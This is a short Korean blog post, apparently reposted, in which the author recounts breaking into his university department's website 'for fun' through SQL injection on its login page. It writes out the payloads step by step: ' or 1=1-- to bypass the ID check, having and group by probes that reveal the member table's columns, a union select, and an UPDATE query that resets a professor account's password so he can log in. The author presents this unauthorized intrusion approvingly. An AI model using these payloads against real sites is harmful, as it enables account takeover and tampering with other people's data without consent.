Computer(IT)/Hacking & Virus

sql injection 예제

약탄치킨 2010. 1. 17. 01:26
반응형

재미 삼아 학과 홈페이지 뚫기 시도.

 

먼저 로그인 창에 SQL Injection이 가능한지

 

'를 날려 보았다.

 

결과:

 

풋.. 역시 한치의 오차도 없이..

 

보안이 구렸다..ㅡ,.ㅡ;;

 

파로스를 이용하여 내부 데이터가 어떻게 처리되는지

 

간단히 검사해 본뒤..

 

 

따로 내부적인 처리를 안해 준다는 것을 알고

 

' or '1=1 쳐 넣어

 

논리적 오류를 유도해 보았다.

 

결과:

 

 

if(id = 'input') 이런식으로 처리를 한다고 가정하면

 

이런 값이 입력 될것이다.

 

id = '' or '1=1'

 

그래서 다시

 

' or 1=1-- 요렇게 공격해봤다.

 

결과:  두~둥!

 

간단히 공격 성공..ㅋ

 

그런데 아이디 체크는 뚫었지만..

 

비밀번호가 문제였다.

 

따로 어떤 처리를 하고 있었다.

 

우회하는 방법을 찾는 도중 무의식적으로

 

패스워드에 11을 눌러 버렸다..

 

결과는 ㅡ,.ㅡ;;두둥;;

 

이런 쉣..;;

 

도대체 이게 무슨 상황인가

 

비번이 11이였다;;

 

난 쿼리를 보낼때 디폴트값으로 1을 보내는 습성이 있는데

 

급할때(?) 가끔 11을 날릴때도 있다..

 

그게 비번이라니 이런 황당한 우연이..ㅠ_ㅜ

 

아무튼 이건 못본걸로 하고 다급히 취소를 눌렀다.

 

그리고 우회한다고 생각하고

 

필드명을 조사해 보기 위해

 

having 1=1-- 를 날려보았다.

 

 

결과:

Microsoft OLE DB Provider for SQL Server 오류 '80040e14'

'member.m_number' 열이 집계 함수에 없고 GROUP BY 절이 없으므로 SELECT 목록에서 사용할 수 없습니다.

/p_board/login_ok2.asp, 줄 19

 

member이란 테이블에 m_number이란 필드명을 쓰고있었다

 

나머지 필드를 전부 얻기 위해 쿼리를 날렸다.

group by m_number having 1=1--

 

이런식으로 조사한 필드는 아래와 같다.

 

member.m_number

member.m_nic 
member.m_name 
member.m_pwd
member.m_email
member.m_homepage
member.m_use

 

다음으로 각각의 데이터 타입을 조사했다.

'union select sum(m_pwd) from memeber having 1=1--

 

전부 NVARCHAR 이였다.

 

자 이제 끝났다.

 

아까 실수로(?) 알아냈던 아이디의 비번을 변경해 보았다.

 

'update member set m_pwd='12' where m_use='prof'--

 

그리고 로그인 해보았다.

 

결과는 공격성공.

 

들킬까봐 재빨리 다시 복구 시키고

 

휘리릭~

출처: 네이버블로거 changfull7

반응형